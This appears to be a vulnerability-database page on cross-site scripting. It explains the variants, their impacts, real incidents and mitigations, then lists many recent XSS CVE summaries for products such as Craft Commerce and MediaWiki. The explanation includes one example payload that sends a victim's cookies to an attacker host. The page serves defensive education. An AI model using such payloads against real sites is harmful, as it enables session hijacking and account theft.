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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40663)

EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated attackers with high privileges to inject malicious scripts via the Address Line 1 field in Inventory Locations, which execute in administrators' browsers when the field is viewed in the admin panel. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated attackers with high privileges to inject malicious scripts via unsanitized Tax Zone name and description fields, executing arbitrary JavaScript in administrators' browsers. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated administrators with high privileges to inject malicious scripts through unsanitized Tax Category fields, which execute when other admins view the affected pages. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated administrators with high privileges to inject malicious scripts via unsanitized Tax Rates name fields, enabling arbitrary JavaScript execution in other administrators' browsers. Public exploit code exists for this vulnerability. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce versions 5.0.0 through 5.5.1 permits authenticated attackers with administrative privileges to inject malicious scripts through the Shipping Methods Name field, which executes in other administrators' browsers when they access the Store Management interface. Public exploit code exists for this vulnerability. The flaw stems from insufficient input sanitization and is remediated in version 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce shipping category fields allows authenticated attackers with high privileges to inject malicious scripts that execute in administrators' browsers, affecting versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1. The vulnerability stems from insufficient sanitization of the Name and Description fields in the Store Management section before display in the admin panel. Public exploit code exists, and patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Stored cross-site scripting in Craft Commerce versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 allows authenticated users with product type management permissions to inject malicious scripts via unsanitized product type names that execute when administrators view user permissions settings. Public exploit code exists for this vulnerability. Upgrades to versions 4.10.1 or 5.5.2 resolve the issue.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS in Craft Commerce's Order Status History Message (versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1) allows authenticated attackers with database backup permissions to inject malicious scripts that execute in the context of other users' browsers. Public exploit code exists for this vulnerability, enabling attackers to exfiltrate sensitive data including user credentials, customer PII, order history, and 2FA recovery codes. Patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Craft Commerce versions 4.0.0-RC1 through 4.10.0 and 5.0.0 through 5.5.1 contain a stored DOM-based XSS vulnerability in the Recent Orders dashboard widget where unescaped Order Status Names allow arbitrary script execution when administrators access the dashboard. An attacker with the ability to modify order statuses can inject malicious JavaScript that executes in the context of any admin user, potentially leading to account compromise or unauthorized actions. Public exploit code exists for this vulnerability; patches are available in versions 4.10.1 and 5.5.2.

XSS Craft Commerce Craftcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

The Tenda AC7 firmware web management interface fails to properly sanitize user input, enabling reflected cross-site scripting (XSS) attacks that can inject malicious scripts into a victim's browser. An unauthenticated attacker can exploit this vulnerability to steal session cookies, perform unauthorized actions, or redirect users to malicious sites. No patch is currently available for affected firmware versions V03.03.03.01_cn and earlier.

XSS Tenda Ac7 Firmware
NVD
EPSS 0% CVSS 4.7
MEDIUM POC This Month

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. [CVSS 4.7 MEDIUM]

XSS Open Eclass Platform Gunet
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. [CVSS 6.1 MEDIUM]

XSS Open Eclass Platform Gunet
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Creativeitem Academy LMS 7.0 contains reflected Cross-Site Scripting (XSS) vulnerabilities via the search parameter to the /academy/blogs endpoint, and the string parameter to the /academy/course_bundles/search/query endpoint. [CVSS 6.1 MEDIUM]

XSS Academy Lms Creativeitem
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Arbitrary File Upload in podinfo thru 6.9.0 allows unauthenticated attackers to upload arbitrary files via crafted POST request to the /store endpoint. [CVSS 6.1 MEDIUM]

XSS Podinfo Suse
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

NetBox is an open-source infrastructure resource modeling and IP address management platform. [CVSS 5.4 MEDIUM]

XSS Netbox
NVD GitHub VulDB
EPSS 0% CVSS 4.1
MEDIUM This Month

ERPNext thru 15.88.1 does not sanitize or remove certain HTML tags specifically `<a>` hyperlinks in fields that are intended for plain text. Although JavaScript is blocked (preventing XSS), the HTML is still preserved in the generated PDF document. [CVSS 4.1 MEDIUM]

XSS Erpnext Frappe
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability was discovered within the CSV import mechanism of ERPNext thru 15.88.1 when using the Update Existing Recordsoption. [CVSS 5.4 MEDIUM]

XSS Erpnext Frappe
NVD GitHub
EPSS 0% CVSS 3.7
LOW Monitor

HCL AION is susceptible to Missing Content-Security-Policy. An The absence of a CSP header may increase the risk of cross-site scripting and other content injection attacks by allowing unsafe scripts or resources to execute..This issue affects AION: 2.0. [CVSS 3.7 LOW]

XSS Aion Hcltech
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

60CycleCMS 2.5.2 contains a cross-site scripting (XSS) vulnerability in news.php that allows attackers to inject malicious scripts through GET parameters. [CVSS 6.1 MEDIUM]

PHP XSS SQLi +1
NVD Exploit-DB
EPSS 0% CVSS 8.2
HIGH POC This Week

60CycleCMS 2.5.2 contains an SQL injection vulnerability in news.php and common/lib.php that allows attackers to manipulate database queries through unvalidated user input. [CVSS 8.2 HIGH]

PHP XSS SQLi +1
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

DotNetNuke 9.5 contains a persistent cross-site scripting vulnerability that allows normal users to upload malicious XML files with executable scripts through journal tools. [CVSS 6.4 MEDIUM]

XSS CSRF .NET +2
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

group description field of the admin edit groups section. Attackers can inject malicious JavaScript through the description field is affected by cross-site scripting (xss) (CVSS 6.4).

XSS
NVD Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Snipe-IT 4.7.5 contains a persistent cross-site scripting vulnerability that allows authorized users to upload malicious SVG files with embedded JavaScript. Attackers can craft SVG files with script tags to execute arbitrary JavaScript when the accessory is viewed by other users. [CVSS 6.4 MEDIUM]

XSS
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Zendesk SweetHawk Survey 1.6 contains a persistent cross-site scripting vulnerability that allows attackers to inject malicious scripts through support ticket submissions. [CVSS 6.4 MEDIUM]

XSS
NVD Exploit-DB
EPSS 0% CVSS 6.8
MEDIUM PATCH This Month

Reflected XSS in Apache Syncope's Enduser Login page. An attacker that tricks a legitimate user into clicking a malicious link and logging in to Syncope Enduser could steal that user's credentials. [CVSS 6.8 MEDIUM]

XSS Apache Syncope
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

The Events Calendar Shortcode & Block plugin through version 3.1.1 contains a stored cross-site scripting vulnerability that allows authenticated users with limited privileges to inject malicious scripts into event pages, affecting all site visitors. An attacker can exploit this by crafting malicious input that persists in the database and executes in users' browsers when they view affected event content. No patch is currently available for this medium-severity vulnerability.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Crocoblock JetElements For Elementor jet-elements is affected by cross-site scripting (xss) (CVSS 6.5).

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting is affected by cross-site scripting (xss) (CVSS 6.5).

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Stored XSS in Better Search plugin version 4.2.1 and earlier enables authenticated attackers with high privileges to inject malicious scripts that persist in web pages and execute in other users' browsers. The vulnerability requires user interaction to trigger but can compromise confidentiality, integrity, and availability across the application scope. No patch is currently available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Ofisimo Web-Based Software Technologies Association Web Package Flora allows XSS Through HTTP Headers.This issue affects Association Web Package Flora: from v3.0 through 03022026. [CVSS 7.6 HIGH]

XSS
NVD VulDB
EPSS 0% CVSS 8.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Ankara Hosting Website Design Website Software allows Reflected XSS.This issue affects Website Software: through 03022026. [CVSS 8.6 HIGH]

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A flaw was found in mooodle. A remote attacker could exploit a reflected Cross-Site Scripting (XSS) vulnerability in the policy tool return URL. [CVSS 5.4 MEDIUM]

XSS Information Disclosure Moodle
NVD
EPSS 0% CVSS 7.3
HIGH PATCH This Week

A flaw was found in moodle. This vulnerability, known as Cross-Site Scripting (XSS), occurs due to insufficient checks on user-provided data in the formula editor's arithmetic expression fields. [CVSS 7.3 HIGH]

XSS Moodle
NVD
EPSS 0% CVSS 7.3
HIGH PATCH This Week

A flaw was found in Moodle. This cross-site scripting (XSS) vulnerability, caused by improper sanitization of AI prompt responses, allows attackers to inject malicious HTML or script into web pages. [CVSS 7.3 HIGH]

XSS Moodle AI / ML
NVD
EPSS 0%
This Week

HTML injection vulnerability in NICE Chat. This vulnerability allows an attacker to inject and render arbitrary HTML content in email transcripts by modifying the 'firstName' and 'lastName' parameters during a chat session.

XSS
NVD
EPSS 0%
This Week

Stored Cross-Site Scripting (XSS) vulnerability type in LUNA software v7.5.5.6. This vulnerability allows an attacker to execute JavaScript code in the victim's browser by inyecting a malicious payload through the 'Edit Batch Name' function.

XSS
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Seres Software syWEB allows Reflected XSS.This issue affects syWEB: through 03022026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. [CVSS 7.6 HIGH]

XSS
NVD VulDB
EPSS 0% CVSS 7.6
HIGH This Week

Kod8 Software Technologies Trade Ltd. Co. Kod8 Individual and SME Website is affected by cross-site scripting (xss) (CVSS 7.6).

XSS
NVD VulDB
EPSS 0% CVSS 6.3
MEDIUM This Month

Stored cross-site scripting in Foxit PDF Editor Cloud's Create New Layer feature allows authenticated attackers to execute arbitrary JavaScript by injecting malicious code that persists when layers are accessed by other users. The vulnerability affects pdfonline.foxit.com versions prior to 2026-02-03 and requires user interaction to trigger. No patch is currently available.

XSS Pdf Editor Cloud Foxit
NVD
EPSS 0% CVSS 6.3
MEDIUM This Month

Foxit PDF Editor Cloud contains a stored XSS vulnerability in its file upload functionality where malicious usernames are not properly sanitized before being displayed in the upload file list, enabling authenticated attackers to execute arbitrary JavaScript in other users' browsers. The vulnerability affects pdfonline.foxit.com versions prior to 2026-02-03 and currently has no available patch. An attacker with valid credentials could craft a malicious username to compromise account security or steal sensitive document data from other users viewing the file list.

XSS Pdf Editor Cloud Foxit
NVD
EPSS 0% CVSS 7.6
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in AKCE Software Technology R&D Industry and Trade Inc. SKSPro allows Reflected XSS.This issue affects SKSPro: through 07012026. [CVSS 7.6 HIGH]

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Unauthenticated attackers can forge requests to create or modify contact notes in WordPress Mail Mint plugin versions up to 1.19.2 by exploiting missing CSRF protections, requiring only that a site administrator clicks a malicious link. The lack of input validation on these operations enables stored XSS attacks that could compromise administrator accounts and site integrity. No patch is currently available.

WordPress XSS CSRF
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Authenticated contributors and above can inject malicious scripts into WordPress pages through the Happy Addons for Elementor plugin (versions up to 3.20.7) via improper sanitization of the '_elementor_data' meta field, resulting in stored XSS that executes for all users viewing affected pages. An attacker with contributor-level permissions can leverage this to steal credentials, perform actions on behalf of administrators, or deface website content. No patch is currently available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Unlimited Elements for Elementor (WordPress plugin) versions up to 2.0.1. is affected by cross-site scripting (xss) (CVSS 5.4).

PHP WordPress XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Page.Preview.Js.

XSS Mediawiki
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.JqueryMsg/mediawiki.JqueryMsg.Js.

XSS Mediawiki
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Special.Apisandbox/ApiSandboxLayout.Js.

XSS Mediawiki
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/CommentFormatter/CommentParser.Php.

PHP XSS Mediawiki
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Vector. This vulnerability is associated with program files resources/skins.Vector.Js/stickyHeader.Js.

XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation VisualEditor. This vulnerability is associated with program files src/ce/ve.Ce.ClipboardHandler.Js.

XSS Mediawiki Visual Editor
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation VisualEditor.

PHP XSS Mediawiki +1
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation CheckUser. This vulnerability is associated with program files modules/ext.CheckUser/checkuser/checkUserHelper/buildUserElement.Js.

XSS Mediawiki Checkuser
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation CheckUser. This vulnerability is associated with program files src/Services/CheckUserUserInfoCardService.Php.

PHP XSS
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation CheckUser.

XSS Mediawiki Checkuser
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/pager/CodexTablePager.Php. [CVSS 6.1 MEDIUM]

PHP XSS Mediawiki +1
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Language/mediawiki.Language.Js.

XSS Mediawiki
NVD VulDB
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Rcfilters/ui/WatchlistTopSectionWidget.Js.

XSS Mediawiki
NVD
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/htmlform/CodexHTMLForm.Php, includes/htmlform/fields/HTMLButtonField.Php.

PHP XSS Mediawiki
NVD VulDB
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Rcfilters/ui/RclToOrFromWidget.Js.

XSS Mediawiki
NVD VulDB
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki, Wikimedia Foundation Parsoid. This vulnerability is associated with program files includes/parser/Sanitizer.Php, src/Core/Sanitizer.Php.

PHP XSS Mediawiki
NVD VulDB
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Action/mediawiki.Action.Edit.Preview.Js, resources/src/mediawiki.Page.Preview.Js.

XSS Mediawiki
NVD VulDB
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/htmlform/fields/HTMLButtonField.Php.

PHP XSS Mediawiki
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

Talishar is a fan-made Flesh and Blood project. A Stored XSS exists in the chat in-game system. [CVSS 5.3 MEDIUM]

PHP XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Reflected cross-site scripting in FacturaScripts prior to version 2025.8 allows authenticated attackers to inject malicious scripts through crafted input that triggers database errors, which are then rendered without HTML sanitization due to unsafe Twig template filters. Public exploit code exists for this vulnerability. The issue affects error message handling and requires user interaction to exploit, with impacts limited to session hijacking or credential theft within the affected user's browser context.

XSS Facturascripts
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Forums module of Tendenci CMS v15.3.7 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload. [CVSS 5.4 MEDIUM]

XSS Tendenci
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Jobs module of Tendenci CMS v15.3.7 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload. [CVSS 5.4 MEDIUM]

XSS Tendenci
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple reflected cross-site scripting (XSS) vulnerabilities in the installation module of Subrion CMS v4.2.1 allows attackers to execute arbitrary Javascript in the context of the user's browser via injecting a crafted payload into the dbuser, dbpwd, and dbname parameters. [CVSS 6.1 MEDIUM]

XSS Subrion Cms Intelliants
NVD GitHub
EPSS 0%
This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Vector. This vulnerability is associated with program files resources/skins.Vector.Js/portlets.Js, resources/skins.Vector.Legacy.Js/portlets.Js.

XSS
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MultimediaViewer.This issue affects MultimediaViewer: from * before 1.39.13, 1.42.7, 1.43.2, 1.44.0. [CVSS 4.7 MEDIUM]

XSS
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files resources/src/mediawiki.Special.Apisandbox/ApiSandbox.Js. [CVSS 4.7 MEDIUM]

XSS Mediawiki Red Hat
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Cloud Pak For Business Automation versions up to 24.0.0 is affected by cross-site scripting (xss) (CVSS 6.4).

XSS IBM Cloud Pak For Business Automation
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cybozu Garoon 5.15.0 through 6.0.3 contains a cross-site scripting vulnerability in the Message function that allows authenticated attackers to reset arbitrary user passwords through malicious scripts. The vulnerability requires user interaction and affects the confidentiality and integrity of user accounts. No patch is currently available.

XSS Garoon Cybozu
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cybozu Garoon versions 5.0.0 through 6.0.3 contain a cross-site scripting vulnerability in the email function that enables attackers to reset arbitrary user passwords by crafting malicious email content. The attack requires user interaction to trigger and can affect confidentiality and integrity across security boundaries. No patch is currently available for this vulnerability.

XSS Garoon Cybozu
NVD
EPSS 0% CVSS 7.1
HIGH This Week

The Library Viewer WordPress plugin before 3.2.0 does not sanitise and escape some parameters before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. [CVSS 7.1 HIGH]

PHP WordPress XSS
NVD WPScan
EPSS 0% CVSS 1.9
LOW POC Monitor

Dsl-6641K Firmware versions up to n8.tr069.20131126 is affected by cross-site scripting (xss) (CVSS 2.4).

XSS D-Link
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

QWE DL 2.0.1 mobile web application contains a persistent input validation vulnerability allowing remote attackers to inject malicious script code through path parameter manipulation. [CVSS 6.4 MEDIUM]

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

TextBox Name Profile input. Attackers can inject malicious script code through a POST request is affected by cross-site scripting (xss) (CVSS 6.4).

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

WiFi File Transfer 1.0.8 contains a persistent cross-site scripting vulnerability that allows remote attackers to inject malicious script codes through file and folder names. [CVSS 6.4 MEDIUM]

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Incinga Web 2.8.2 contains a client-side cross-site scripting vulnerability that allows remote attackers to inject malicious script codes through the icinga.min.js file. [CVSS 5.4 MEDIUM]

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

BootCommerce 3.2.1 contains persistent input validation vulnerabilities that allow remote attackers to inject malicious script code through guest order checkout input fields. [CVSS 6.4 MEDIUM]

XSS RCE
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Knap Advanced PHP Login 3.1.3 contains a persistent cross-site scripting vulnerability that allows remote attackers to inject malicious script code in the name parameter. [CVSS 6.4 MEDIUM]

PHP XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stripe Green Downloads Wordpress Plugin 2.03 contains a persistent cross-site scripting vulnerability allowing remote attackers to inject malicious scripts in button label fields. [CVSS 6.4 MEDIUM]

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

WebMO Job Manager 20.0 contains a cross-site scripting vulnerability in search parameters that allows remote attackers to inject malicious script code. [CVSS 5.4 MEDIUM]

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Simple CMS 2.1 contains a non-persistent cross-site scripting vulnerability in the preview.php file's id parameter. Attackers can inject malicious script code through a GET request to execute arbitrary scripts and potentially hijack user sessions or perform phishing attacks. [CVSS 6.4 MEDIUM]

PHP XSS Simple Cms Php +1
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Simple CMS 2.1 contains a persistent cross-site scripting vulnerability in user input parameters that allows remote attackers to inject malicious script code. [CVSS 6.4 MEDIUM]

XSS Simple Cms Php Simplephpscripts
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

PHP Melody version 3.0 contains a persistent cross-site scripting vulnerability in the edit-video.php submitted parameter that allows remote attackers to inject malicious script code. [CVSS 6.4 MEDIUM]

PHP XSS Php Melody +1
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

PHP Melody 3.0 contains a persistent cross-site scripting vulnerability in the video editor that allows privileged users to inject malicious scripts. Attackers can exploit the WYSIWYG editor to execute persistent scripts, potentially leading to session hijacking and application manipulation. [CVSS 6.4 MEDIUM]

XSS Php Melody Phpsugar
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

PHP Melody version 3.0 contains multiple non-persistent cross-site scripting vulnerabilities in categories, import, and user import files. Attackers can inject malicious scripts through unvalidated parameters to execute client-side attacks and potentially hijack user sessions. [CVSS 6.4 MEDIUM]

XSS Php Melody Phpsugar
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Affiliate Pro 1.7 contains multiple reflected cross-site scripting vulnerabilities in the index module's input fields. Attackers can inject malicious scripts through fullname, username, and email parameters to execute client-side attacks and manipulate browser requests. [CVSS 5.4 MEDIUM]

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Ultimate POS 4.4 contains a persistent cross-site scripting vulnerability in the product name parameter that allows remote attackers to inject malicious scripts. [CVSS 6.4 MEDIUM]

XSS
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40663

Related CWEs

MITRE ATT&CK

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